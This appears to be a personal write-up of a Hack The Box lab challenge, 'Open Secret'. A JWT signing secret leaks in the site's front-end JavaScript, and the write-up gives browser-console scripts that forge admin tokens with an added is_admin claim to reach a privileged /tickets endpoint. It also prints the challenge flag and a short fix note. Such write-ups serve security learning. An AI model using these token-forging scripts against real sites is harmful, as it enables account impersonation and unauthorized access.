🚩 HTB - Open Secret
Executive Summary
- OS: Linux
- Key Technique: A vulnerable JWT generating logic is leaked in the front-end, allow unauthenticated user to forge an admin JWT and impersonate as one and access privileged
/ticketsendpoint. - Status:
In Progress
Reconnaissance
Index page’s Javascript code:
// JWT Secret Key
const SECRET_KEY = "HTB{0p3n_s3cr3ts_ar3_n0t_s3cr3ts}";
// Helper function to convert string to Base64URL
function base64url(str) {
return btoa(str)
.replace(/\+/g, "-")
.replace(/\//g, "_")
.replace(/=/g, "");
}
// Generate a JWT session token for the user
async function generateJWT() {
// Check if user already has a token
const existingToken = document.cookie
.split("; ")
.find((row) => row.startsWith("session_token="));
if (existingToken) {
console.log("Session token already exists");
return;
}
// Create a random guest username
const username = "guest_" + Math.floor(Math.random() * 10000);
// JWT Header
const header = { alg: "HS256", typ: "JWT" };
// JWT Payload
const payload = { username: username };
// Encode header and payload
const encodedHeader = base64url(JSON.stringify(header));
const encodedPayload = base64url(JSON.stringify(payload));
const data = encodedHeader + "." + encodedPayload;
// Sign with SECRET_KEY using HMAC-SHA256
const key = await crypto.subtle.importKey(
"raw",
new TextEncoder().encode(SECRET_KEY),
{ name: "HMAC", hash: "SHA-256" },
false,
["sign"]
);
const signature = await crypto.subtle.sign(
"HMAC",
key,
new TextEncoder().encode(data)
);
// Encode signature
const encodedSignature = base64url(
String.fromCharCode(...new Uint8Array(signature))
);
// Complete JWT token
const token = data + "." + encodedSignature;
// Store token in cookie
document.cookie = `session_token=${token}; path=/; max-age=86400`;
console.log("Generated session for:", username);
}
// Generate JWT token on page load
generateJWT();
// Handle ticket submission
document
.getElementById("submit-btn")
.addEventListener("click", async (event) => {
event.preventDefault();
const name = document.getElementById("ticket-name").value;
const description =
document.getElementById("ticket-desc").value;
const response = await fetch("/submit-ticket", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ name, description }),
});
const result = await response.json();
document.getElementById("message-display").textContent =
result.message || "Ticket submitted successfully!";
});Try forging a JWT and send the request to /submit-ticket:
// Helper function to convert string to Base64URL
function base64url(str) {
return btoa(str)
.replace(/\+/g, "-")
.replace(/\//g, "_")
.replace(/=/g, "");
}
const script = document.createElement('script');
script.src = "https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js";
document.head.appendChild(script);
// Generate a JWT session token for the user
async function generateJWT() {
// Create a random guest username
const username = "admin";
// JWT Header
const header = { alg: "HS256", typ: "JWT" };
// JWT Payload
const payload = { username: username};
// Encode header and payload
const encodedHeader = base64url(JSON.stringify(header));
const encodedPayload = base64url(JSON.stringify(payload));
const data = encodedHeader + "." + encodedPayload;
return new Promise((resolve, reject) => {
// Only load the script if it hasn't been loaded yet
if (typeof CryptoJS === 'undefined') {
const script = document.createElement('script');
script.src = "https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js";
document.head.appendChild(script);
script.onload = () => {
console.log("✅ CryptoJS loaded successfully!");
const finalToken = signData(data, SECRET_KEY);
resolve(finalToken);
};
script.onerror = () => reject("Failed to load CryptoJS");
} else {
const finalToken = signData(data, SECRET_KEY);
resolve(finalToken);
}
});
function signData(dataToSign, secret) {
const hash = CryptoJS.HmacSHA256(dataToSign, secret);
const signature = CryptoJS.enc.Base64.stringify(hash)
.replace(/=+$/, '')
.replace(/\+/g, '-')
.replace(/\//g, '_');
return dataToSign + "." + signature;
}
}
(async () => {
try {
const token = await generateJWT();
console.log("Full JWT Generated:", token);
// Set the cookie!
document.cookie = `session_token=${token}; path=/; max-age=86400`;
fetch('/submit-ticket', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
credentials: 'same-origin',
body: JSON.stringify({
name: 'admin',
description: 'hello'
})
})
.then(response => response.json())
.then(data => console.log('Success:', data))
.catch(error => console.error('Error:', error));
} catch (error) {
console.error("Something went wrong:", error);
}
})();
Upon trying to figure out what to do next, I decide to run the recon with Gobuster to check for hidden endpoints

There is a /tickets endpoint that I’ve yet to discover.

I need to provide a token to get in so I used the same forged token to get in:

Access denied, so I added a new field to the JWT payload called is_admin and set its value to true. Why? Well, experience:
// previous script
const payload = { username: username, is_admin: true};
// same as before
fetch('/tickets', {
method: 'GET',
headers: {
'Content-Type': 'application/json'
},
credentials: 'same-origin',
})
.then(response => response.json())
.then(data => console.log('Success:', data))
.catch(error => console.error('Error:', error));
// same as beforeRunning the script using the console, I got the list of previous attempts of all user sending tickets:

There is one thing that is interesting though:

There is a database server running in the background, I need to find a way to access it. It might be hiding inside the /submit-ticket endpoint, where submitting a ticket will update the backend database. I tried using SQLmap to see if this vulnerability exist

The output did not very well. Even if it is a SQL injection thing, chaining it with the backup key does not really make any sense.
I take a look at the challenge a again, it is a very easy one, so maybe I’m overthinking things. Let’s try submitting the secret backup key and check it out:

it works. Geez…
Loot & Flags
Flag: HTB{0p3n_s3cr3ts_ar3_n0t_s3cr3ts}
Fix:
- Leaked JWT Generating Logic: the JWT generating logic (including the secret key) is leaked in the front-end, which allow the malicious user to craft a valid JWT of their own with elevated privileged.